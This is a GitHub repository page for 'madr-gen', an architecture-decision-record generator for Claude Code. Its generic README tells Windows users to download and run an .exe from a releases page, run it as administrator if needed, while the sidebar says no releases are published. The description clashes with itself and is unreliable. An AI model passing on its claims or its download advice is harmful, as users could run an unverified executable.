Skip to content

Tazic123/madr-gen

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

⚙️ madr-gen - Simple mADR Generator for Decisions

Download madr-gen


📋 What is madr-gen?

madr-gen helps you create architecture decision records (ADRs) easily. It tracks decisions you make during projects and writes clear, organized records automatically.

This tool works with Claude Code, keeping your team organized by detecting decisions and updating documents as you go.

You don’t need coding skills or special setup. Just a simple Windows computer and a quick install.


🖥️ System Requirements

Before you start, check that your computer meets these needs:

  • Windows 10 or later version (64-bit recommended)
  • At least 4 GB of RAM
  • 200 MB of free disk space
  • Internet connection to download and update

No additional software is needed.


🚀 Getting Started

Follow these steps to download and run madr-gen on your Windows PC.


🟩 Step 1: Download madr-gen

Go to the releases page to get the latest version:

Visit madr-gen Releases to Download

  • This page has all versions and updates.
  • Pick the file name ending in .exe for Windows.
  • Save it to a folder you can find easily, such as Downloads or Desktop.

🟦 Step 2: Run the Installer

  1. Find the downloaded .exe file.
  2. Double-click it to open the installer.
  3. Follow the instructions on the screen.
    • You can usually accept default options.
  4. Wait until the process finishes.
  5. You might see a prompt to allow the app to make changes; click Yes.

⚙️ Step 3: Launch madr-gen

After installation:

  • Look for the madr-gen icon on your desktop.
  • Double-click to open the app.
  • The program will start and open a window.

📖 Step 4: Using madr-gen

Once open, madr-gen is ready to help you create architecture decision records. Here are some basic tips:

  • Create a new record: Click "New ADR" or a similarly labeled button.
  • Fill in details: Describe your decision in simple language.
  • Save regularly: You can save your work anytime.
  • Track sessions: The tool remembers past decisions to avoid duplicates.
  • Export: Save your records as files to share with others or include in documents.

If you want to update or review past decision records, use the search or list view to find them quickly.


🔍 Features Overview

  • Automatic detection of decisions you write.
  • Session-aware tracking to organize related records.
  • Clear, plain-text ADR format.
  • Works seamlessly with Claude Code for added automation.
  • Simple interface for non-technical users.
  • Saves files locally for easy access and sharing.

🛠️ Troubleshooting Tips

If you face issues:

  • Make sure your Windows system is up to date.
  • Run madr-gen as administrator if it won’t open.
  • Close other heavy programs to free up memory.
  • Restart your computer and try again.
  • Check the releases page for updates that might fix bugs.

🆘 Getting Help

You can find help on the GitHub page under the “Issues” tab. There, users and developers discuss common problems and fixes.

If you want to ask a question, write clearly and describe your problem step-by-step.


🔄 Updating madr-gen

Check the releases page occasionally for newer versions:

Download the latest version of madr-gen

Download the new .exe file and run it. It will replace the old version without losing your records.


🧩 About This Tool

madr-gen simplifies documenting important architecture decisions. It helps teams save time and avoid confusion, all without special technical skills.

The tool focuses on making the process smooth and automatic. This way, users know their decisions are recorded correctly and shared easily.

About

Generate and manage architectural decision records automatically from Claude Code sessions using the MADR 4.0 format.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages